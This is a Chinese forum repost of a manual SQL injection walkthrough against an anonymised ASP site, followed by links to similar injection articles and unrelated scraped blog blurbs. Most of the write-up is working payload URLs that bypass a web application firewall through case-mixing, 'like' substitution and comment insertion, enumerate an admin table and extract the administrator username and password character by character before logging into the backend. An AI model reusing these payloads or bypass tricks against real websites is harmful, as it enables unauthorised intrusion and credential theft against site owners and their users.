转载自sss安全论坛

目标站点:http://www.xxx.cn:88
注入点:
http://www.xxx.cn:88/new/details1.asp?n_id=49909
对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909

发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,

尝试大写like代替and

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1

Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2

可的结论,此waf并不能检测出大写语句,那么开始注入:
首先判断数据库:
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0
Ps(发现waf能检测出*,这里count(1)代替count(*))
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0
结论:是sqlsever数据库
猜解表名
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0
 
有表:admin
那么猜测表admin中的字段
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0
 
 
 
经过猜解得到 admin,user,password三个字段
猜解字长
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5
 
 
 
 
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:
 
 

... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3

猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录

心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||

这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。

一次手工注入waf [转载]的更多相关文章

  1. [转载] MySQL数据库5.X版本基本手工注入总结

    MySQL数据库5.X版本基本手工注入总结 根据我对MySQL的认识,注入时,基本可以通过爆.盲注.报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话we ...

  2. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  3. SQL注入之手工注入

    手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...

  4. baby sqli 联合查询加入数据 手工注入

    0x00 BabySQli 原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! 登陆页面,查看源码后点进search.php看到一段可疑的句子MMZFM42 ...

  5. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

  6. ASP+ACCESS手工注入详解

    SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下.高手略过. 我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的. 下面以这个网址为例: http://zsb.xx ...

  7. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  8. sqlServer2008 手工注入

    接着上一篇的<mysql手工注入> 参考:http://hi.baidu.com/ciqing_s/item/971bf994365130accc80e5ed http://hi.baid ...

  9. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

随机推荐

  1. 编写高质量代码改善C#程序的157个建议[匿名类型、Lambda、延迟求值和主动求值]

    前言 从.NET3.0开始,C#开始一直支持一个新特性:匿名类型.匿名类型由var.赋值运算符和一个非空初始值(或以new开头的初始化项)组成.匿名类型有如下基本特性: 1.既支持简单类型也支持复杂类 ...

  2. Javascript基础系列之(五)条件语句(if条件语句)

    if 是flash的常用语法之一,其格式如下 if(coditon) statement1 (else statement2) 其中,coditon可以是任何表达式,甚至不比是真正的布尔值,因为Jav ...

  3. 每天一个linux命令(35):killall命令

    Linux 系统中的killall命令用于杀死指定名字的进程(kill processes by name).我们可以使用kill命令杀死指定进程PID的进 程,如果要找到我们需要杀死的进程,我们还需 ...

  4. Java设计模式-建造者模式(Builder)

    将一个复杂的构建与其表示相分离,使得同样的构建过程可以创建不同的表示. [构建与表示分离,同构建不同表示] 与抽象工厂的区别:在建造者模式里,有个指导者,由指导者来管理建造者,用户是与指导者联系的,指 ...

  5. appium跑demo简单实例讲解

    安装appium,设置 demo.pyfrom appium import webdriver #要装webdriver,方法查看http://www.cnblogs.com/sincoolvip/p ...

  6. 浅谈IOC--说清楚IOC是什么

    http://www.cnblogs.com/DebugLZQ/archive/2013/06/05/3107957.html 博文目录 1.IOC的理论背景 2.什么是IOC 3.IOC也叫依赖注入 ...

  7. -----------------------------------项目中整理的非常有用的PHP函数库(二)-----------------------------------------------------

    6.PHP列出目录下的文件名 如果你想列出目录下的所有文件,使用以下代码即可: function listDirFiles($DirPath){ if($dir = opendir($DirPath) ...

  8. sql-server数据库中利用触发器实现表与表之间的级联删除

    create trigger Delete_Student --创建一个触发器 on student instead of delete as declare @sno varchar() selec ...

  9. CentOS 6.4安装Apache+MySQL+PHP的图文教程

    LAMP 实际上就是 Linux.Apache.MySQL.PHP 四个名称的缩写,当然最后一个 “P” 还有其他说法是 Perl 或者 Python.不用多说了,本文讲解的就是 Linux.Apac ...

  10. emmet使用 及 notepadd++ emmet的安装

    emmet的使用的参考文章:http://www.cnblogs.com/sussski/p/3544744.html html:4s.html:4t.html:5或! +.>.^:层次 *.@ ...